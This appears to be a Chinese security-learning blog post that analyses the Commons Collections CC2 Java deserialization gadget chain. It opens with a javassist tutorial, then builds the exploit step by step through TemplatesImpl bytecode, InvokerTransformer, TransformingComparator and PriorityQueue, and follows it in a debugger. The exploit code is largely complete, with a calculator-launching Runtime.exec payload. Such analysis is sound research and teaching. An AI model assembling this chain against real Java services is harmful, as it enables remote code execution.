cc2链

javassist学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import javassist.*;

import java.lang.reflect.Method;
/*
javassist使用
主要类
ClassPool:基于哈希表实现的CtClass对象容器,键名是类名称,值是该类CtClass对象
常用方法:
static ClassPool getDefault()
返回默认的类池。
ClassPath insertClassPath(java.lang.String pathname)
在搜索路径的开头插入目录或jar(或zip)文件。
ClassPath insertClassPath(ClassPath cp)
ClassPath在搜索路径的开头插入一个对象。
java.lang.ClassLoader getClassLoader()
获取类加载器toClass(),getAnnotations()在 CtClass等
CtClass get(java.lang.String classname)
从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用。
ClassPath appendClassPath(ClassPath cp)
将ClassPath对象附加到搜索路径的末尾。
CtClass makeClass(java.lang.String classname)
创建一个新的public类


CtClass类;
常用方法
void setSuperclass(CtClass clazz)
更改超类,除非此对象表示接口。
java.lang.Class<?> toClass(java.lang.invoke.MethodHandles.Lookup lookup)
将此类转换为java.lang.Class对象。
byte[] toBytecode()
将该类转换为类文件。
void writeFile()
将由此CtClass 对象表示的类文件写入当前目录。
void writeFile(java.lang.String directoryName)
将由此CtClass 对象表示的类文件写入本地磁盘。
CtConstructor makeClassInitializer()
制作一个空的类初始化程序(静态构造函数)。
CtMethod
CtMethod:表示类中的方法。


CtConstructor
CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。
*/


//使用javassis来创建一个Person类
public class CreatClass {
public static void main(String[] args) throws Exception {
//获取javassist维护的类池
ClassPool pool = ClassPool.getDefault();
//创建一个空类
CtClass ctClass = pool.makeClass("Person");
//给ctClass类即public类添加一个string类型的字段
CtField name = new CtField(pool.get("java.lang.String"), "name",ctClass);
//设置private权限
name.setModifiers(Modifier.PRIVATE);//CtField类setModifiers方法 arg:Modifier类字段返回int类型
//初始化name字段为张三
ctClass.addField(name, CtField.Initializer.constant("zhangsan"));//CtClass类addField方法 args1:CtField对象,args2:内部静态Initializer类对象
//生成get,set方法
ctClass.addMethod(CtNewMethod.getter("getName", name));//addMethod方法 args1:方法名,args2:CtField对象
ctClass.addMethod(CtNewMethod.setter("setname",name));
//添加无参构造参数
CtConstructor ctConstructor0 = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor0.setBody("{name=\"xiaoming\";}");
ctClass.addConstructor(ctConstructor0);
//添加有参构造参数
CtConstructor ctConstructor1 = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, ctClass);
ctConstructor1.setBody("{$0.name=$1;}");//设置函数构造主体,$1表示的第一个参数
ctClass.addConstructor(ctConstructor1);
//创建一个public方法printName()无参无返回值
CtMethod printName = new CtMethod(CtClass.voidType, "PrintName", new CtClass[]{}, ctClass);//构造方法args1:函数返回类型,函数名,无参,类名
printName.setModifiers(Modifier.PUBLIC);//设置public
printName.setBody("{System.out.println($0.name);}");//设置函数体
ctClass.addMethod(printName);


//写入class文件
ctClass.writeFile();
ctClass.detach();


/* //通过反射调用person类的方法
Object o = ctClass.toClass().newInstance();
Method setname = o.getClass().getMethod("setname", String.class);
setname.invoke(o, "hungry");
Method printname = o.getClass().getMethod("PrintName");
printname.invoke(o);
*/
//通过加载class文件
}
}

网上有很多javassist的文章,不再赘述。

根据poc先逆向分析一波

step1

1
2
3
4
5
6
7
8
9
10
String  AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//1.创建动态一个类,设置父类添加命令执行内容
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
// 为什么要设置父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
//这里就是生成一个payload的类

这里没什么好说的,提出问题:为什么要设置父类为abstractranslet类?

step2

1
2
3
4
5
6
7
8
9
10
11
//2.通过反射获取并设置templatesImpl的_bytecodes字段为runtime的byte数组,该类最终会将payuload实例化,接下来考虑怎么调用newtransformer方法
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl实例
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组


Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

像cc1又需要考虑到runtime实例化的问题,为什么使用的是templatesImpl类而不是其他类来构造的原因其实和_bytecodes设置为payload字节码有关系的。

跟进templatesImpl类,找到哪个方法会调用_bytecodes
1

会传递给_class,然后在getTransletInstance方法里进行实例化操作

2
到这里也就解决了runtime实例化的问题。回到提出的问题1,这里实例化后的类型是abstractranslet,这就是为什么为payload设置abstractranslet父类的原因。

那么接下来的问题就是怎么调用getTransletInstance,同样是该类中的newTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;


transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);


if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}


if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

step3

1
2
3
//3.通过invokeTransformer的transform(这里利用comparator类)方法调用newtransformer
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入newtransformer

这里通过反射调用newTransformer方法。
我们知道最终还是需要调用invokertransformer类的tranform方法,需要找到一个类里的方法能调用transform方法,TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似,里面有compare方法会调用transform方法,实现如下:

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

以通过PriorityQueue队列触发compare(),进一步触发transform()。继续

step4

考虑如何调用compare方法

1
2
3
4
5
6
7
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个  PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列

Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator

问题:为什么要设置该类的这个字段?注意设置的字段值传入的就是poc里的comparator实例,是需要进一步调用compare方法触发transfrom方法的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
.........

@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

.........
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

看这几个方法,首先comparator.compare会被siftDownUsingComparator方法调用。
siftDownUsingComparator–>siftDown–>heapify()

step5

1
2
3
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

最后就是readobject复写点了,PriorityQueue的readobject代码实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();


// Read in (and discard) array length
s.readInt();


SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];


// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();


// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

最后调用heapify()实现了反序列化rce。

正向跟一波

调试跟一遍

1.反序列化我们构造的对象进入PriorityQueue的readobject方法最后调用heapify方法
3
heapify会调用siftDown方法,并且传入queue,这里的queue是刚刚传入的构造好恶意代码的TemplatesImpl实例化对象。

4

进而调用siftdown方法
5

这里的comparator就是poc里设置的字段值也就是TransformingComparator修饰过的InvokerTransformer实例化对象

继续进入siftDownUsingComparator

6

小结:PriorityQueue类
readObject–>heapify()–>siftDown()–>siftDownUsingComparator()–>comparator.compare()
在PriorityQueue中构造方法comparator是可控的。

这里调用TransformingComparator的compare方法,跟进

7

在这里传入的2个参数,内容为TemplatesImpl实例化对象
8

最后调用newtransform方法,然后继续调用TransformerImpl
小结:TransformingComparator中compare函数会调用transform方法,解决调用transform方法的问题。templatesImpl解决runtime实例化的问题

9
首先是会判断_name的值是否为空,之前通过反射设置过该值为test,进入下一个语句是判断_class是否为空,进入defineTransletClasses方法

10

进入之后经过判断将_bytecodes赋值给_class
11

赋值完成后继续回到getTransletInstance方法将生成的payload类实例化,即将我们的恶意字节码实例化
12

直接弹出计算器是因为javassist生成的类执行的payload在静态代码块里,当我们new一个对象就会执行功能。

Runtime执行命令代码是在静态代码块里面,静态代码块会在new对象的时候去执行。

其实很多细节方面都没有说到,计划接下来java会跟着yso工具学习